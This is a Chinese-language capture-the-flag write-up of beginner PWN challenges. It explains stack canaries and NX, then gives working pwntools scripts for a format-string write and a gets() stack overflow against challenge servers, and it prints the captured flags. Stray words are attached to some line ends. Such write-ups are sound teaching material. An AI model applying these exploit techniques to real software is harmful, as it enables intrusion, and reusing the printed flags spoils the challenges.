攻防世界PWN新手练习区WP

近期笨逼菜鸡开始接触PWN 刷了刷攻防世界的题目 在这里记录下本身的学习成果python

CGfsb

首先是PWN题的常规起手式 查壳查保护 捎带着看下程序信息
发现无壳 可是存在Canary保护和NX保护
在这里插入图片描述web

这里先讲一下什么是Canary保护
Canary保护主要是用来防御栈溢出的 在开启Canary保护程序调用函数的时候 会在栈中压入一个随机Canary值 在函数结束的时候程序会判断Canary值是否发生变更 若是发生变更就认为是程序遭到了攻击 程序直接异常退出 Canary值一般和函数返回地址在栈中相连 主要是防御攻击者更改程序返回地址来执行shellcode
这里咱们直接拿本题作例子
在这里插入图片描述能够明确看到程序如今在存储Canary值 咱们在数据下硬件读写断点 而后让程序跑起来
在这里插入图片描述这里在函数末尾取出Canary值 若是与刚开始的值不一致 执行stack_chk_fail函数
对于如何绕过Canary保护 基本思路是利用各类漏洞 先泄漏出来Canary的地址 而后取出值 等溢出事后再还原 固然具体如何利用还得就题论题shell

同时也讲一下NX保护吧 NX保护通常是不可绕过的 他是禁止了栈执行 也就是即便你写入了shellcode 可是若是NX保护开启的话 也是不能在栈上执行的svg

回到本题 先随便执行下 就是输入用户名和留言 而后程序原样打印出来
在这里插入图片描述
没什么世纪大发现 那就常规操做 载入IDA吧
在这里插入图片描述
发现程序存在格式化字符串漏洞 而后理解下程序逻辑 简单来讲就是将pwnme变量的值更改成8就能拿到flag了 双击pwnme看一下 发现pwnme变量仍是一个在bss段的全局变量 那基本思路已经有了
在这里插入图片描述
解法基本就是经过格式化字符串漏洞更改pwnme的值了 那第一步就是测试程序的回显位了 这里个人回显位是在第十位
在这里插入图片描述
那基本信息获取的差很少了 就能够开始编写脚本了函数

from pwn import *
sh=remote("111.198.29.45","48339")
sh.recvuntil("please tell me your name:")
sh.sendline("Dust")
sh.recvuntil("leave your message please:")

payload=p32(0x0804A068)+'0000%10$n'

sh.sendline(payload)
sh.interactive()

执行脚本便可
在这里插入图片描述
获得flag:cyberpeace{bb8c9af83fb8e8913ed25c1d5cc41751}学习

when_did_you_born

照例 平常开局…
在这里插入图片描述
跑一下 没啥思路 直接载入IDA吧
在这里插入图片描述
简单理解下 就是程序要求变量v5的值最后为1926 而程序开始的输入不容许输入1926…初看是自相矛盾的…话说哪道Pwn题给的初始条件不是自相矛盾的… 在代码中发现gets函数…由于gets函数不会限制输入的字符个数 初步怀疑是栈溢出 双击v4查看程序栈图
在这里插入图片描述
没跑了 栈溢出 直接开始写脚本吧测试

这里解释下为何程序开启了Canary保护依然可使用栈溢出漏洞 这是由于Canary保护主要是防御函数的返回地址不被篡改的 从这里程序的栈图就能看出 Canary值的变量名就是var_8 若是咱们切换到汇编窗口 就能看到最后的校验使用的就是这个var_8变量
在这里插入图片描述spa

from pwn import *
sh=remote("111.198.29.45","45209")
sh.recvuntil("What's Your Birth?")
sh.sendline("1925")
sh.recvuntil("What's Your Name?")

payload="A"*0x8+p64(1926)

sh.sendline(payload)
sh.interactive()

执行便可
在这里插入图片描述
获得flag:cyberpeace{5f65371d87fafa327d2c0d3e254cfab5}code

hello_pwn